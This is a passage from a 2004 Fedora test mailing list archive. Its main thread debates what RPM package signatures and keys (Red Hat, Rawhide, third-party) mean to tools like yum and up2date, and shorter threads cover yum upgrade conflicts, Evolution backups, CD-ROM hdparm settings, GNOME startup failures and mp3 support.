up in a table in the code". The right way is a method where we look at the signature, and it has data which includes the key, and the purpose of the signature. It also should be something usable on private networks, so having something like an rss feed to say which key is which also pretty much sucks. I have to be able to use a key for *exactly* one thing, and that one thing is how much I trust the signature. Everything else needs its data to be part of the data which is being signed. > > Consider RHEL errata. When RH releases an erratum, the signature > > doesn't just say "this is some package from Red Hat". It says that you > > can use the signature, combined with the checksums and the data in the > > erratum. For what can they be used? You should already know the answer > > here. What the signature provides is a way to verify Red Hat's intent > > and belief that the package in the user's hands does actually fix the > > problems described in the erratum, and to some (lesser) extent that it > > does not introduce more problems > > > > So, no, it's not just that it comes from Red Hat. That's really a more > > minor point of what it's for. > > OK, we're getting somewhere. We do have several keys with which to sign > packages. We do specifically have a Rawhide key which kind of > invalidates what you said in an earlier post: > > > No, nobody is "proposing that Rawhide packages shouldn't be signed at > > all". That's pure spin. They are not currently signed, and I'm > > arguing against the proposal that they *should* be. > > Indeed they are currently signed -- with the exception of a handful of > packages. I say that we should close this gap. Even if you do sign every package, changing update tools to accept that signature still erodes the utility of signing things by a significant amount, unless the signatures can say for themselves what their purpose is. In fact, signing them the way we do erodes it some, but changing the tools is far worse -- it's an acknowledgment that we mean to do this. Also note that those which are signed are currently signed by hand, and one thing people have been advocating is automatic signing. Automatic signing, I'll obviously argue, is a total loss. But more than that, we don't want to convey. > Your argumentation implies that all package signing keys convey the same > message, i.e. "this package was built there and there and fulfils > certain quality criteria" which is certainly not true for the Rawhide > key. It's true to our tools, and I think it's true in the eyes of our users. I'm not the only one who's stated this impression, either. Jef put it pretty well the other day talking to Satish: > On Mon, 1 Nov 2004 12:58:22 -0600 (CST), Satish Balay > wrote: > > No confusion here either - as rawhide packages are never mistaken > > for erratum packages. > > really? noone ever mistakes a package from rawhide as a consumable > package? > really? no one ever does a random search for a package from an online > rpm warehouse and finds a package meant as a piece of rawhide and not > as a consumable update? > really? no one ever takes packages from the rawhide tree and mixes > them with updates and creates a homebrew repository that other users > will be using? There is no part of which key was being used that carries any data about what the signature means, and this is a very significant problem. Why isn't this point clear? > The Rawhide key did not ever tell me more than that this package has > been built in the Red Hat build system. This surely is different from > what any other RPM signing keys may or may not mean, but it is enough > for the purposes for those people who want to test the new stuff but > still want to be at least a bit safe that the software they try won't > intentionally screw them. Beta/Testing keys might imply a bit more of > quality while final keys give me the most in that department. Not every > key is the same here ;-). Again, you're ignoring the difference between intent and perception. We certainly haven't intended for the rawhide keys to say that, but at the same time, all of our tools currently have two classes of keys for signatures: known and unknown. They don't have "known to only mean it's from the right place", which is what you contend the rawhide key is. "If you're on the list, you get into the club," as it were. And even if they *did* have that concept, there's still no good way to make that scale to more than one source of packages. A different key does not a different kind of signature make. Really. -- Peter From balay at fastmail.fm Thu Nov 4 21:02:59 2004 From: balay at fastmail.fm (Satish Balay) Date: Thu, 4 Nov 2004 15:02:59 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099600651.4065.41.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> Message-ID: On Thu, 4 Nov 2004, Peter Jones wrote: > Signing something with the Red Hat key and signing something with the > Rawhide key are currently _the same thing_, and no amount of telling > people that it's not is going to change that. (I didn't want to get sucked into this again - but couldn't resist.. this tread never dies). I hope you can give pointed answers to these 2 questions. 1. If 'Red Hat key' == 'Rawhide key' - why do you have both? 2. How does packages signed by 'at-rpms-key' fit in your grad model where all keys are the same - and users don't know how to distinguish them. Or should no one other than 'Redhat' be signing packages. Thanks, Satish From veguilla at hpcf.upr.edu Thu Nov 4 21:08:51 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Thu, 04 Nov 2004 17:08:51 -0400 Subject: Backing up Evolution In-Reply-To: <1099579961.3325.2.camel@rodolfo.gt.factorrent.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> <1099524463.3920.22.camel@cassandra.boston.redhat.com> <1099541448.4506.21.camel@thomas.camerontech.com> <1099564438.3999.14.camel@tabb1.tabb> <1099579961.3325.2.camel@rodolfo.gt.factorrent.com> Message-ID: <418A9A63.4000000@hpcf.upr.edu> Rodolfo J. Paiz wrote: >On Thu, 2004-11-04 at 05:33 -0500, Phil Schaffner wrote: > > >>>>gconftool-2 --dump /apps/evolution > some_file.xml >>>> >>>> > >So two things need to be done: this gconftool dump, and tarball >the .evolution directory. When reinstalling, I'm going to have to >reenter passwords but no big deal. > >Yes? Correct? > > > Yes, but I think that if you also backup the ~/.gnome2_private/evolution file you won' t have to reenter the passwords. >I think I'll file an RFE for Evolution for a "File -> Backup" option. > > I wouldn't surprise me if there was a bug filed for it already, but there is no harm in checking. Regards, Ricardo Veguilla From trulsg at broadpark.no Thu Nov 4 21:07:29 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Thu, 04 Nov 2004 22:07:29 +0100 Subject: yum upgrade? In-Reply-To: <1099574143.3536.1.camel@binkley> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <604aa79104110405053e6e3ad@mail.gmail.com> <1099574143.3536.1.camel@binkley> Message-ID: <418A9A11.3070601@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 seth vidal wrote: | On Thu, 2004-11-04 at 08:05 -0500, Jeff Spaleta wrote: | |>On Wed, 03 Nov 2004 14:29:13 -0500, seth vidal wrote: |> |>>let me know what problems you encounter. |> |>have you or anyone you know attempted an fc1->fc3rc upgrade? |> | | | No. I've not. I don't think I would recommend it, either. | Things you'd need to upgrade first, at least: | yum, python kernel, glibc, udev | then reboot | then upgrade the rest. | | but I've not done that test so I don't know how well it would work, if | at all. | | -sv | | I tried this from fc2 to fc3 using the repository specified in another mail with this subject. It didn't work and what happens is: yum, python, kernel and glibc upgrade works. Then when trying to upgrade udev I receive the following error message: < Error: udev conflicts with kernel< 0:2.6 > The kernel booting is: 2.6.9-1.649 Then I tried to install udev from synaptic; it seems to work but synaptic wants to delete a lot of files as part of the installation - among them kernel#2.6.9-1.649. Also marked for deletion are bind, etheral,firstboot,gdm, iptables, and so on, a total of 34 files. Due to the fact that I don't know the consequences of deleting all these files I aborted the process. Any advice here please? Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBipoRickK29LSyG8RAqdSAKDmHfK13b6kTOlA3hc+leY5HGBN9ACeJyzZ ss4urmJ09IN1zx0G2NfwhH4= =ITZX -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... 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Is there any specific reason you don't use dhcp? -- Peter From arjanv at redhat.com Thu Nov 4 21:39:31 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Thu, 04 Nov 2004 22:39:31 +0100 Subject: Proliant CSB-6 Raid Drivers for Fedora In-Reply-To: <1099594130.7063.5.camel@localhost.localdomain> References: <1099594130.7063.5.camel@localhost.localdomain> Message-ID: <1099604371.16640.23.camel@laptop.fenrus.org> On Thu, 2004-11-04 at 10:48 -0800, William Hewitt wrote: > Slightly off topic..... > > Has anyone had any experience with getting these drivers into a > "virgin" HP and then installing Redhat/Fedora? If so, can someone give > me a clue - like which one will work? HP's site is not too obvious or > straightforward.... > you don't need drivers for this software raid; you can just use the dmraid software tool! -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <1099600651.4065.41.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> Message-ID: On Thu, 4 Nov 2004, Peter Jones wrote: > It's true to our tools, and I think it's true in the eyes of our users. > I'm not the only one who's stated this impression, either. Jef put it > pretty well the other day talking to Satish: > > > On Mon, 1 Nov 2004 12:58:22 -0600 (CST), Satish Balay > > wrote: > > > No confusion here either - as rawhide packages are never mistaken > > > for erratum packages. > > > > really? noone ever mistakes a package from rawhide as a consumable > > package? really? no one ever does a random search for a package > > from an online rpm warehouse and finds a package meant as a piece > > of rawhide and not as a consumable update? really? no one ever > > takes packages from the rawhide tree and mixes them with updates > > and creates a homebrew repository that other users will be using? > > There is no part of which key was being used that carries any data about > what the signature means, and this is a very significant problem. Why > isn't this point clear? I guess I have to answer this question aswell. The following is in context with signed/unsigned rawhide packages (not random things users can do) ****** Jeff (& I guess you) are assuming the following: - user always does the following on an RHEL box: rpm --import REDHAT-KEY rpm --import RAWHIDE-KEY And always uses 'yum' with gpgcheck' Thus unsigned rawhide-packages saved the day. But but they will NEVER do the following: - remove the 'gpgcheck' flag in yum.conf - and install pacakges from rawhide on RHEL - wget 'randomly searched' rpm' and install it with 'rpm -ivh foobar.rpm' on an RHEL box. ******* My contention is: - The second part is not fixable - so that problem isn't being solved. - if the user is dumb enough to do 'rpm -import RAWHIDE-KEY' on a RHEL box - you can still have EXACT same protection (as your unsigned-rawhide) - by coming up with a new key 'YOU-MUST-BE-CRAZY-TO-RPM-IMPORT-THIS-KEY.gpg' - and sign rawhide with it. ******** And I'm not disputing the fact that a better infrastructure is requred to distinguish keys automatically. Satish From bednar007 at gmail.com Thu Nov 4 21:50:27 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Thu, 4 Nov 2004 22:50:27 +0100 Subject: Clean install OK but upgrade not Message-ID: <38f00b2a04110413501d69a604@mail.gmail.com> Hi, can somebody explain me why the upgraded system can make problems while clean installed not. As far as I know the files are repalced during upgrade (rpm -U *.rpm), so everythink should go well but it go wrong (examples: ALSA problems with intel85x chipset in my laptop, giant problems with gnomes-session, etc). Why upgrade can make things so broken? And how it is that KDE does not present such problems at WM start, as Gnome presents. (KDE starts ALWAYS, even after system crash, files lost, upgrade)? Darek Borkowski From trulsg at broadpark.no Thu Nov 4 22:03:59 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Thu, 04 Nov 2004 23:03:59 +0100 Subject: yum upgrade? further In-Reply-To: <418A9A11.3070601@broadpark.no> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <604aa79104110405053e6e3ad@mail.gmail.com> <1099574143.3536.1.camel@binkley> <418A9A11.3070601@broadpark.no> Message-ID: <418AA74F.8020805@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Truls Gulbrandsen wrote: | seth vidal wrote: | | On Thu, 2004-11-04 at 08:05 -0500, Jeff Spaleta wrote: | | | |>On Wed, 03 Nov 2004 14:29:13 -0500, seth vidal | wrote: | |> | |>>let me know what problems you encounter. | |> | |>have you or anyone you know attempted an fc1->fc3rc upgrade? | |> | | | | | | No. I've not. I don't think I would recommend it, either. | | Things you'd need to upgrade first, at least: | | yum, python kernel, glibc, udev | | then reboot | | then upgrade the rest. | | | | but I've not done that test so I don't know how well it would work, if | | at all. | | | | -sv | | | | | I tried this from fc2 to fc3 using the repository specified in another | mail with this subject. It didn't work and what happens is: | | yum, python, kernel and glibc upgrade works. Then when trying to | upgrade udev I receive the following error message: < Error: udev | conflicts with kernel< 0:2.6 > | | The kernel booting is: 2.6.9-1.649 | | Then I tried to install udev from synaptic; it seems to work but | synaptic wants to delete a lot of files as part of the installation - | among them kernel#2.6.9-1.649. | Also marked for deletion are bind, etheral,firstboot,gdm, iptables, and | so on, a total of 34 files. | Due to the fact that I don't know the consequences of deleting all these | files I aborted the process. | | Any advice here please? | | Truls Further, I also had to install separately initscripts to satisfy a conflikct issue with tsch Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBiqdOickK29LSyG8RAjx2AJ9qlZgU+cWy6JgGLZlIQGFRZk8buwCbBfI3 Td4GpUkVo51fDc6o/caMik8= =jSz0 -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From douglas.furlong at firebox.com Thu Nov 4 22:05:20 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 04 Nov 2004 22:05:20 +0000 Subject: CDROM optimizations? Udev ? In-Reply-To: <1099585680.4973.13.camel@localhost.localdomain> References: <1099585680.4973.13.camel@localhost.localdomain> Message-ID: <418AA7A0.6020902@firebox.com> Kim Lux wrote: >Could I ask some people to run hdparm on their cdroms and report their >findings to the list ? > >ie: $/sbin/hdparm /dev/hdc (typically, some CDROMs might mount >elsewhere.) > >We've found some CDROMs are not optimized to use 32 bit access and with >the irq still masked. This might result in poor performance when using >them as CD Burners or as a ripping source. > >Thanks. > > > > > /dev/hdc: HDIO_GET_MULTCOUNT failed: Invalid argument IO_support = 1 (32-bit) unmaskirq = 1 (on) using_dma = 1 (on) keepsettings = 0 (off) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid argument Do you need to know the drive make/model? Doug From pjones at redhat.com Thu Nov 4 22:12:03 2004 From: pjones at redhat.com (Peter Jones) Date: Thu, 04 Nov 2004 17:12:03 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099564380.6145.42.camel@gibraltar.stuttgart.redhat.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> <1099353011.25045.143.camel@localhost.localdomain> <1099564380.6145.42.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1099606323.4065.66.camel@localhost.localdomain> On Thu, 2004-11-04 at 11:33 +0100, Nils Philippsen wrote: > On Mon, 2004-11-01 at 18:50 -0500, Peter Jones wrote: > > On Mon, 2004-11-01 at 17:34 -0600, Satish Balay wrote: > > > Ok - you & Seth seem to have a solution to the problem. > > > > > > Still no good explanation why ALL keys should be treated the same. > > > > Because there's nothing about a key that tells you how to treat it. > > Exactly. There's where "common sense" comes into play, i.e. I shouldn't > enable Rawhide repositories if a broken system makes me cry. We're not just talking about rawhide. We're talking about Axil's repo, and Matthais's repo, and the cdparanoia repo on my people.redhat.com site, and the repo on Seth's website. There is no common sense answer to "I have 40 keys signing things and none of them specify what the signature means". Quit thinking that we're talking about one key. We're talking about many. > Let's face it, currently a signed package only means "someone/-thing has > signed off on it" on a technical level, anything else is just what we > humans put into it and nothing tools can guess by themselves. I.e. we > can only differentiate between "keys we trust" on a certain system by > either putting them into yum.conf/sources or not. Everything beyond that > would need infrastructure that currently doesn't exist. Yes, anything beyond that needs infrastructure that doesn't currently exist. Currently yum and up2date take signatures to mean something beyond that, and they take all signatures in rpm's to equally in this regard. That means we need infrastructure beyond looking at the key and guessing wildly what a signature by it means. yum and up2date interpret a specific meaning for a package signature: if the key is known to rpm, a valid signature means the package was transmitted as intended from the signer. It's not even very difficult infrastructure to make (at least in the most naive form), but so far you've objected to nothing except my premise that people don't know what a signature means, which you now seem to agree with. What gives? -- Peter From pjones at redhat.com Thu Nov 4 22:25:25 2004 From: pjones at redhat.com (Peter Jones) Date: Thu, 04 Nov 2004 17:25:25 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> Message-ID: <1099607125.4065.81.camel@localhost.localdomain> On Thu, 2004-11-04 at 15:02 -0600, Satish Balay wrote: > On Thu, 4 Nov 2004, Peter Jones wrote: > > > Signing something with the Red Hat key and signing something with the > > Rawhide key are currently _the same thing_, and no amount of telling > > people that it's not is going to change that. > > (I didn't want to get sucked into this again - but couldn't > resist.. this tread never dies). > > I hope you can give pointed answers to these 2 questions. > > 1. If 'Red Hat key' == 'Rawhide key' - why do you have both? I think it's horribly ill-conceived that we have both. That is, we have both because people have fallen into this mistake. > 2. How does packages signed by 'at-rpms-key' fit in your grad model > where all keys are the same - and users don't know how to distinguish > them. Both models have the keys being the same. One has people refusing to acknowledge this. The current model is that they're all the same. Look at our tools; look at yum and up2date. They don't know anything about which key is which, just which key you've said you trust (not even what you trust it for, or how much). The only real difference, and certainly the only one in the minds of the vast majority of our users, is that one comes in rpm's key list by default and one does not. The better question is how one of Axel's package fits into the model Nils insists exists. The only possible answer is that it doesn't fit very well at all. How do I know what Axel means by his signature on his packages? I have no idea, and I don't know where to look to found out, either. I suppose I could email him, but that certainly doesn't scale to a 4th or 5th key very reasonably, much less any more than that. My model is that the signature is more than just a gpg signature. Conceptually, it's a signature on a certificate with data that specifies exactly which ways the package may be trusted. One could actually implement it that way, which I think we should, but it's some significant effort. The specific proposal here was that when you *don't* mean the things that people infer from a signed package, don't sign the package. If all we mean is that it's not damaged or tampered with, sign the metadata instead. Seth's metadata proposal (which I believe he's largely implemented) already has the format for this in place. In this case the package is one certificate as mentioned above, and the metadata is another. What the package signature actually means is obviously up for some debate, but we can certainly find plenty of examples where people think it means more than just lack of corruption. > Or should no one other than 'Redhat' be signing packages. With a model where we recognize the meaning from the key, this is implied, though not necessarily intentionally. With my model, it is not. -- Peter When privacy is outlawed only outlaws will have privacy. -- Zimmermann From dmack at leviatron.com Thu Nov 4 22:28:17 2004 From: dmack at leviatron.com (Dave Mack) Date: Thu, 04 Nov 2004 14:28:17 -0800 Subject: FC3rc5/rawhide: X broken on i810 Message-ID: <418AAD01.8090106@leviatron.com> I installed FC3rc5 on an elderly box with i810 graphics and the desktop is seriously broken - nothing redraws correctly, the background shows through xterms, resizing makes windows disappear etc. Thought it might be gnome/metacity gone insane, but KDE is just as a bad, so it looks like it has to be X. Upgrading to rawhide didn't change anything. Is anyone else seeing this? Dave From bednar007 at gmail.com Thu Nov 4 22:37:27 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Thu, 4 Nov 2004 23:37:27 +0100 Subject: Gnome cannot start continued Message-ID: <38f00b2a04110414372bf6a564@mail.gmail.com> Hi, after daily upgrade Gnome does not start. Even deleting whole ~/.gnome2 direstory does not help. I have to use KDE, the only working WM. I did some testing. The effects of strace form "failsafe session" as well as from "startx" from runlevel 3 and content of .gnome2 directory are at: http://bednar.prv.pl/debug/strace-FC3t2devel/ The problem started when I was logout from gnome with savine session enabed and one crashed gnome application somewhere in background. I killed it before, but when logging out I saw contours of some window. Every other windows were closed before logout so I was sure I'm saveing clean session (i.e. with no running apps). How to start Gnome now? Darek Borkowski PS: I added this post as comment at bugs: # 134212 and 137778 From feliciano.matias at free.fr Thu Nov 4 22:45:40 2004 From: feliciano.matias at free.fr (=?ISO-8859-1?Q?F=E9liciano?= Matias) Date: Thu, 04 Nov 2004 23:45:40 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <1099600651.4065.41.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> Message-ID: <1099608341.31426.2.camel@one.myworld> Le jeudi 04 novembre 2004 ? 15:37 -0500, Peter Jones a ?crit : > Also note that those which are signed are currently signed by hand, and > one thing people have been advocating is automatic signing. Automatic > signing, I'll obviously argue, is a total loss. What is a ssl server if it's not an automatic signing machine ? Total loss... From bednar007 at gmail.com Thu Nov 4 22:55:06 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Thu, 4 Nov 2004 23:55:06 +0100 Subject: Still no sound on laptop Message-ID: <38f00b2a0411041455763290c5@mail.gmail.com> I added some comments about that problem in bug # 136082. Hope this help. But I doubt to hear something with FC3 final (maybe later after some updates). Darek Borkowski From paul at thespps.org Thu Nov 4 23:03:25 2004 From: paul at thespps.org (Paul) Date: Thu, 04 Nov 2004 16:03:25 -0700 Subject: mp3 in fc3 Message-ID: <1099609405.5124.44.camel@localhost.localdomain> can anyone offer me some advice for mp3 support in fc3t3? I imagine the fc2 rpms won't work... thanks, Paul From bednar007 at gmail.com Thu Nov 4 23:16:39 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Fri, 5 Nov 2004 00:16:39 +0100 Subject: Gnome cannot start continued Message-ID: <38f00b2a04110415166ebbc265@mail.gmail.com> Now, after one login to KDE, logout from KDE i can normally login to Gnome? What is going on? How? Magic? Has KDE hidden scripts for gnome-session fixing:) Darek Borkowski From mpeters at mac.com Thu Nov 4 23:18:55 2004 From: mpeters at mac.com (Michael A. Peters) Date: Thu, 04 Nov 2004 23:18:55 +0000 Subject: mp3 in fc3 In-Reply-To: <1099609405.5124.44.camel@localhost.localdomain> (from paul@thespps.org on Thu Nov 4 15:03:25 2004) References: <1099609405.5124.44.camel@localhost.localdomain> Message-ID: <1099610335l.3973l.7l@devel.mpeters.us> On 11/04/2004 03:03:25 PM, Paul wrote: > can anyone offer me some advice for mp3 support in fc3t3? I imagine > the > fc2 rpms won't work... > The src.rpm's from livna.org build just fine (lame and mad). For the gstreamer-plugins-mp3 src.rpm you will want to update the version of gstreamer-plugins that src.rpm uses. From bednar007 at gmail.com Thu Nov 4 23:25:21 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Fri, 5 Nov 2004 00:25:21 +0100 Subject: Gnome cannot start continued Message-ID: <38f00b2a04110415257278b4d4@mail.gmail.com> I find a rule: now after KDE login/logout Gnome starts but onle one time after logout Gnome (even withot session saving) the Gnome cannot start again. So to start gnome again I have to login/logout KDE. It is stupid but works. How to fix it? HELP!!! Darek Borkowski From thomasz at hostmaster.org Thu Nov 4 23:30:33 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Fri, 05 Nov 2004 00:30:33 +0100 Subject: mp3 in fc3 In-Reply-To: <1099609405.5124.44.camel@localhost.localdomain> References: <1099609405.5124.44.camel@localhost.localdomain> Message-ID: <1099611034.4098.10.camel@hostmaster.org> What do you mean by support? For playing I recommend that you download and rebuild the SRPM from xmms.org and install the resulting packages. Tom -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key Chaos is the only form of life, order was caused by the Nazis and millions died! - Peter Wenzl -------------- next part -------------- A non-text attachment was scrubbed... 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It seems they do quite different jobs and are meant to be > complementary, but I'm really not sure. > > The situation is complicated by the fact that the currently released > Emacs is so very far behind Emacs CVS, and the Emacs CVS seems to be the > authoritative location for rc-svn.el. It may be that rc-svn.el in Emacs > CVS also requires the Emacs CVS version of RC in general, which may in > turn depend on other things. I think you'd have to ask the emacs-devel > list to find out. Of course the whole thing would be much simpler if the > Emacs developers would actually release a new version, but I am > beginning to despair of that ever happening. Sorry -- there is a repeated typo in the above (I've fixed the summary of the bug report and added a comment): RC-* should be VC-*, hence vc-svn.el, VC, etc. Best, Darren -- ===================================================================== D. D. Brierton darren at dzr-web.com www.dzr-web.com Trying is the first step towards failure (Homer Simpson) ===================================================================== From fayoeu at gmail.com Thu Nov 4 23:35:55 2004 From: fayoeu at gmail.com (Fa Yoeu) Date: Thu, 4 Nov 2004 15:35:55 -0800 Subject: mp3 in fc3 In-Reply-To: <1099609405.5124.44.camel@localhost.localdomain> References: <1099609405.5124.44.camel@localhost.localdomain> Message-ID: The rpms from fc2 worked for me. I think you can get them from freshrpms. On Thu, 04 Nov 2004 16:03:25 -0700, Paul wrote: > can anyone offer me some advice for mp3 support in fc3t3? I imagine the > fc2 rpms won't work... > > thanks, > > Paul > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From scott.aaron at abc.net.au Thu Nov 4 23:31:42 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Fri, 05 Nov 2004 10:31:42 +1100 Subject: Gnome cannot start continued In-Reply-To: <38f00b2a04110415257278b4d4@mail.gmail.com> References: <38f00b2a04110415257278b4d4@mail.gmail.com> Message-ID: <1099611102.3061.18.camel@localhost.localdomain> What happens when you start in safe mode ( a plain X session ) and you run the command gnome-session. This might dump some error messages that are meaning full or at least give you some thing more to post to the list other than "It doesnt work" ;) Your problem is indeed odd but with out see some kind of output from gnome or some error messages or being at your machine it is very hard to diagnose. Are you clearing the /tmp dir on boot up? Might be a good idea just in case gnome is not clearing out some files on exit. Do you get an error message at all when logging in. I have noticed a few times that after updating that some of the Xsesions scripts would be broken. But it would at least tell you something was wrong at login. Have you seen something similar ( appologies if this was mentioned in a previous posting. ) Let us know what you find. Cheers Aaron On Fri, 2004-11-05 at 00:25 +0100, Darek Borkowski wrote: > I find a rule: > now after KDE login/logout Gnome starts but onle one time > after logout Gnome (even withot session saving) the Gnome cannot start > again. So to start gnome again I have to login/logout KDE. > > It is stupid but works. How to fix it? HELP!!! > > Darek Borkowski > -------------- next part -------------- An HTML attachment was scrubbed... URL: From pjones at redhat.com Thu Nov 4 23:42:11 2004 From: pjones at redhat.com (Peter Jones) Date: Thu, 04 Nov 2004 18:42:11 -0500 Subject: NetworkManager Issues In-Reply-To: <1099437876.16576.16.camel@serenity.klika.si> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> Message-ID: <1099611731.4065.89.camel@localhost.localdomain> On Wed, 2004-11-03 at 00:24 +0100, Ziga Mahkovec wrote: > On Tue, 2004-11-02 at 11:52 -0500, Dan Williams wrote: > > NetworkManager first tries to explicitly connect to the requested AP > > with Shared Key mode, then unencrypted mode. > > What about Open System mode? NetworkManager fails to associate when my > access point is set to Open System mode, yet works fine in Shared Key > mode. I can make Open System mode work by manually slipping in an > "iwconfig wlan0 key open". > > Given that Open System authentication is believed to be more secure (or > should I say less neighbor-friendly), I think it should be supported as > well. > > I use the ipw2100 driver (0.57) and NetworkManager from CVS. I *think* this is because ipw's drivers don't set "open" when you set a key by default, and networkmanager is expecting that all drivers do it that way, but I haven't investigated this very thoroughly. -- Peter "What is a magician but a practicing theorist?" -- Kenobi From chrisw01 at privatei.com Fri Nov 5 00:14:40 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: Thu, 04 Nov 2004 17:14:40 -0700 Subject: CDROM optimizations? Udev ? In-Reply-To: <1099585680.4973.13.camel@localhost.localdomain> References: <1099585680.4973.13.camel@localhost.localdomain> Message-ID: <1099613680.17627.3.camel@spike-home.comcast.net> On Thu, 2004-11-04 at 09:28 -0700, Kim Lux wrote: > Could I ask some people to run hdparm on their cdroms and report their > findings to the list ? > > ie: $/sbin/hdparm /dev/hdc (typically, some CDROMs might mount > elsewhere.) > > We've found some CDROMs are not optimized to use 32 bit access and with > the irq still masked. This might result in poor performance when using > them as CD Burners or as a ripping source. > Mine have the problem. First drive is a LiteOn 16X Dual Layer DVD+-RW: /dev/hdc: HDIO_GET_MULTCOUNT failed: Invalid argument IO_support = 0 (default 16-bit) unmaskirq = 0 (off) using_dma = 1 (on) keepsettings = 0 (off) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid argument The Second is a Sony 52X CD-RW: /dev/hdd: HDIO_GET_MULTCOUNT failed: Invalid argument IO_support = 0 (default 16-bit) unmaskirq = 0 (off) using_dma = 1 (on) keepsettings = 0 (off) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid argument These are the default settings on my system wrt these drives. HTH... Cheers, Chris -- ====================== When the solution is simple, God is answering. -- Albert Einstein From fct-cornette at insight.rr.com Fri Nov 5 01:19:40 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Thu, 04 Nov 2004 20:19:40 -0500 Subject: FC3rc5/rawhide: X broken on i810 In-Reply-To: <418AAD01.8090106@leviatron.com> References: <418AAD01.8090106@leviatron.com> Message-ID: <418AD52C.70803@insight.rr.com> Dave Mack wrote: > I installed FC3rc5 on 